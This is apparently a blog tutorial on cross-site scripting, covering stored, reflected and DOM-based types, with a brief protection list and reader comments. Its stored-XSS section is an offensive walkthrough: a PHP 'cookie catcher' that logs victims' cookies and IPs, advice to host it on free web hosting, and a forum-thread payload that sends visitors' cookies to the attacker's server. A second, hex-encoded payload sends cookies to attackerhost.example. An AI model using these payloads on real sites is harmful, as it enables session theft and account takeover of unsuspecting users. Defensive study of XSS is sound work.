- What is Cross-Site Scripting ?
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. The malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site.- Techniques :
These cookies are used to maintain the user authentication on that particular website. So the basic idea is if an attacker can manage to get the cookies of a particular user than he may easily login to their account.There are basically three types of XSS attacks:
1. Persistant XSS:
Persistant or Stored or Type-I XSS occurs when the data provided by the attacker is saved by the server, and then permanently displayed on normal pages returned to other users in the course of regular browsing, without proper HTML escaping.
Vulnerability Testing:
Lets login as an User in a particular forum or some discussion board. Once you are logged in create a new thread name it as anything but in the body of the thread lets put:
Script Code:
<script>alert("test");</script>
If you get any alert popping-up which says test, then you have got the site which is Persistant Attack Vulnerable.
Now the attacker will use a Cookie Catcher in order to steal the user's session cookie. Cookie catcher is basically a PHP file which can store information directly sent to it from a browser.Script Code:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: http://www.google.com");
?>
Upload this script to a PHP supported web hosting site like ripway or t35 or 110mb.com.
And now we will need to change the script which needs to put in a new thread so cookie is sent accross to the cookie catcher.
Script Code:
<script>document.location="www.yourhost.com/cookiecatcher.php?c=" + document.cookies</script>
Post this in the body of your thread. Now if someone clicks on the thread, their cookies would be sent to you as a text format and the user will be redirected to www.google.com.
2. Non-persistant XSS:
The Non-persistent or Reflected or Type-II XSS vulnerability is by far the most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to generate a page of results for that user, without properly sanitizing the request.
Many web portals offer a personalized view of a web site and may greet a logged in user as Welcome, Joe. Sometimes the data referencing a logged in user is stored within the query string of a URL: http://portal.example/index.php sessionid=12312312&username=Joe. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would possible to gain control of the user's account if they managed to get the victim to visit their URL. Most of the time an attacker will URL Encode their malicious payload by ASCII-HEX converter similar to the example below:
Encoded URL:
http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E
Decoded this by HEX-ASCII converter you will find Cookie Stealing URL:
Decoded URL:
http://portal.example/index.php?sessionid=12312312& username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>
3. DOM Based XSS:
In 2005, Amit Klein defined a third type of XSS, which he coined DOM Based or Type-0 XSS. DOM-based XSS is an advanced type of XSS attack which is made possible when the web application’s client side scripts write user provided data to the Document Object Model (DOM). The data is subsequently read from the DOM by the web application and outputted to the browser. If the data is incorrectly handled, an attacker can inject a payload, which will be stored as part of the DOM and executed when the data is read back from the DOM.
The most dangerous part of DOM-based XSS is that the attack is often a client-side attack, and the attacker’s payload is never sent to the server. This makes it even more difficult to detect for Web Application Firewalls (WAFs) and security engineers analyzing the server’s logs since they will never even see the attack.
Among various objects that make up the DOM, there are some objects in particular which an attacker can manipulate in order to generate the XSS condition. Such objects include the URL (document.URL), the part of the URL behind the hash (location.hash) and the Referrer (document.referrer).
- Protection :
2. Untrusted HTML input must be run through an HTML policy engine to ensure that is does not contain XSS. Tools such as OWASP AntiSamy and http://htmlpurifier.org accomplish this task.
3. Besides content filtering, additional security on cookie-based user authentication should be introduced.
4. XSS-Me is the Exploit-Me tool used to test for reflected Cross-Site Scripting (XSS) by submitting your HTML forms and substituting the form value with strings that are representative of an XSS attack.
5. Acunetix Web Vulnerability Scanner (WVS) Free Edition offers the functionality for anyone who wants to test their own application for Cross Site Scripting.
For educational purpose only...Do not misuse it...
super cool...
ReplyDeleteArijit
@ arigid
ReplyDeletethanks... keep watchin :-)